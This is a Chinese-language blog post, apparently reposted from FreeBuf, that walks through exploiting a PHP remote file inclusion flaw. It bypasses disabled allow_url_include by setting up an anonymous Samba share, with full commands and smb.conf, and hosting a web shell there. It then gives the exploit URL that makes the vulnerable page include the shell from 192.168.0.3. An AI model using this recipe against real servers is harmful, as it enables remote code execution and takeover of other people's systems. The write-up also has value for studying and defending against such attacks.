内容简介:在这篇博文中,我将为大家演示如何利用PHP应用中的远程文件包含漏洞的技术。我们将绕过php远程文件包含的限制,并执行RFI的利用,即使PHP环境被配置为不包含来自远程HTTP/FTP URL的文件。在PHP配置文件中,“allow_url_include”wrapper默认设置为“Off”,指示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止加载SMB URL。而这就极
在这篇博文中,我将为大家演示如何利用 PHP 应用中的远程文件包含漏洞的技术。我们将绕过php远程文件包含的限制,并执行RFI的利用,即使PHP环境被配置为不包含来自远程HTTP/FTP URL的文件。
PHP 和 SMB 共享文件访问
在PHP配置文件中,“allow_url_include”wrapper默认设置为“Off”,指示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止加载SMB URL。而这就极有可能被滥用来从SMB共享加载远程托管的PHP Web shell。
攻击场景概述
当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Web shell时,SMB共享应允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP Web shell,SMB服务器将不会要求任何的凭据,易受攻击的应用程序将包含Web shell的PHP代码。
首先,我重新配置了PHP环境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名浏览访问的SMB服务器。一旦SMB共享准备就绪,我们就可以利用易受攻击的应用程序了。
PHP 环境设置
将托管易受攻击代码的机器上的“allow_url_fopen”和“allow_url_include”设置为“Off”
以下是版本为“5.5.11”的PHP当前配置截图:
在继续下一步之前,让我们确保当我们尝试访问HTTP上托管的Web shell时,PHP代码不允许远程文件包含。
可以看到,当我试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有包含远程文件。
使用匿名浏览访问配置 Samba 服务器(Linux 机器)
使用以下命令安装Samba服务器:
apt-get install samba
创建SMB共享目录:
mkdir /var/www/html/pub/
配置新创建的SMB共享目录的权限:
chmod 0555 /var/www/html/pub/ chown -R nobody:nogroup /var/www/html/pub/
运行以下命令,删除SAMBA服务器配置文件的默认内容。
echo > /etc/samba/smb.conf
将以下内容添加到/etc/samba/smb.conf文件。
[global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ica] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 force user = nobody
现在,重启SAMBA服务器以使配置文件/etc/samba/smb.conf中的新配置生效。
service smbd restart
成功重启SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不要求提供凭据。
在本例中,SAMBA服务器IP为192.168.0.3,我需要访问Windows文件浏览器中的SMB共享,如下:
\\192.168.0.3\
在 SMB 共享中托管 PHP Web shell
太棒了!可以访问smb共享,并显示目录“ica”存在。
现在,将PHP shell托管在目录“/var/www/html/pub”中,该目录为smb共享目录“ica”。
成功托管PHP shell后,我们使用Windows文件浏览器访问SMB共享目录“ica”。
\\192.168.0.3\ica\
可以看到php shell存在于smb共享目录中,在本例中为box.php文件。
利用文件包含易受攻击的参数
让我们使用这个PHP shell SMB链接,以及易受攻击的php代码浏览它。
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php
PHP易受攻击的代码从SMB共享中获取了web shell,并在应用程序服务器上执行了代码\m/。我们已经绕过了php远程文件包含的限制,并包含了托管在远程主机上的Web shell。
*参考来源: mannulinux ,FB小编secist编译,转载请注明来自FreeBuf.COM
以上所述就是小编给大家介绍的《利用SMB共享来绕过php远程文件包含的限制》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Redis 深度历险:核心原理与应用实践
钱文品 / 电子工业出版社 / 2019-1 / 79
Redis 是互联网技术架构在存储系统中使用得最为广泛的中间件,也是中高级后端工程师技术面试中面试官最喜欢问的工程技能之一,特别是那些优秀的互联网公司,通常要求面试者不仅仅掌握 Redis 基础用法,还要理解 Redis 内部实现的细节原理。《Redis 深度历险:核心原理与应用实践》作者老钱在使用 Redis 上积累了丰富的实战经验,希望帮助更多后端开发者更快、更深入地掌握 Redis 技能。 ......一起来看看 《Redis 深度历险:核心原理与应用实践》 这本书的介绍吧!
URL 编码/解码
URL 编码/解码
HEX CMYK 转换工具
HEX CMYK 互转工具